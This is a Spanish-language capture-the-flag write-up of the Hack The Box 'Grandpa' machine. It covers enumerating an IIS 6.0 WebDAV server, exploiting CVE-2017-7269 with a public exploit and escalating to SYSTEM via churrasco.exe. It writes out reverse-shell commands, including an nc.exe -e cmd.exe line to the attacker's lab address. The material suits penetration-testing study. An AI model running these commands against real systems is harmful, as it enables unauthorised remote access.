Saltar al contenido

HackTheBox – Grandpa – Writeup – (OSCP Friendly)

En este post voy a vulnerar la máquina Grandpa de Hack the Box. Es una máquina Windows, de nivel fácil que si bien no se encuentran ya máquinas así en HTB, en una buena máquina para preparar el OSCP.

Enumeración

Comienzo escaneado los 5000 puertos mas comunes, estableciendo un envío mínimo de 10000 paquetes por segundo.

nmap --top-ports 5000 --min-rate 10000 --open -n 10.10.10.14

En la máquina solamente hay un puerto abierto. Escaneo el puerto que he encontrado para ver la versión del servicio que está corriendo en él y ejecuto una serie de scripts de enumeración básicos.

nmap -sC -sV -p80 10.10.10.14
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-03 13:48 CET
Nmap scan report for 10.10.10.14
Host is up (0.11s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 6.0
| http-methods: 
|_  Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH
|_http-server-header: Microsoft-IIS/6.0
|_http-title: Under Construction
| http-webdav-scan: 
|   Server Type: Microsoft-IIS/6.0
|   Server Date: Wed, 03 Nov 2021 12:54:49 GMT
|   WebDAV type: Unknown
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
|_  Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.56 seconds

Entro a la web con el navegador pero solo encuentro una página por defecto.

Utilizo whatweb para leer las cabeceras pero no me aporta ninguna información nueva.

whatweb -a 3 http://10.10.10.14:80/

Como me he encontrado un protocolo WebDAV en ejecución y nmap indica que el método PUT está permitido, voy a enumerar las extensiones de los binarios que puedo subir con davtest.

davtest -url http://10.10.10.14/

La consola me indica que no está permitida ninguna extensión, por lo que la salida de nmap debe ser un falso positivo.

Busco exploits a nivel de kernel para la versión y el servicio que están en ejecución y encuentro uno que resulta interesante.

Explotación

Al leer el exploit veo que explota una vulnerabilidad de BoF pero que únicamente abre la calculadora así que busco su dirección para ver si indica un código CVE.

Entro en la base de dados de exploit-db, donde está alojado el exploit, y encuentro que está vulnerabilidad está registrada como CVE-2017-7269. Buscando en google, encuentro rápidamente este exploit que explota la vulnerabilidad y me da una shell reversa.

Pongo un netcat a la escucha, ejecuto el exploit siguiendo sus intrucciones y consigo una shell reversa.

python exploit.py
python exploit.py 10.10.10.14 80 10.10.14.2 7897

Escalada de Privilegios

Actualmente soy el usuario nt authority\network service y no tengo permisos para acceder al directorio del usuario (Harry). Comienzo viendo los privilegios de mi usuario y veo que SeImpersonatePrivilege está como Enable.

Continuo enumerando la información del sistema y veo que se trata de un Windows Server 2003 de 32 bits.

En un primer momento pensaría en escalar privilegios con Hot Potato o Juicy Potato pero ninguno de los binarios funciona para esta versión de Windows. Buscando en google, llego a está pagina de github donde me indican el nombre de la vulnerabilidad, su página de exploit-db y que debo utilizar un binario llamado currasco.exe. Al revisar la página de exploit-db veo que esta vulnerabilidad está registrada con el código CVE-2009-0078.

Me descargo el exploit, lo subo a la máquina victima creando un servidor smb y lo ejecuto.

Como se ve en la imagen anterior, este binario me permite ejecutar comandos como nt authority\system por lo que voy a inyectar un netcat a mi máquina atacante para conseguir una shell reversa. Primero subo un el binario nc.exe (el que hay por defecto en kali me sirve) y luego ejecuto el comando con la inyección.

churrasco.exe "nc.exe -e cmd.exe 10.10.14.2 7898"

Y consigo una shell reversa de nt authority\system.

Flags

Me he dejado las flags para el final debido a que solo he podido acceder a ellas una vez he conseguido el usuario nt authority\system.

User.txt

La flag de usuario la encuentro en C:\Documents and Settings\Harry\Desktop\user.txt.

Root.txt

La flag de root la encuentro en C:\Documents and Settings\Administrator\Desktop\root.txt.

Publicado enCTFHTBOSCPwindows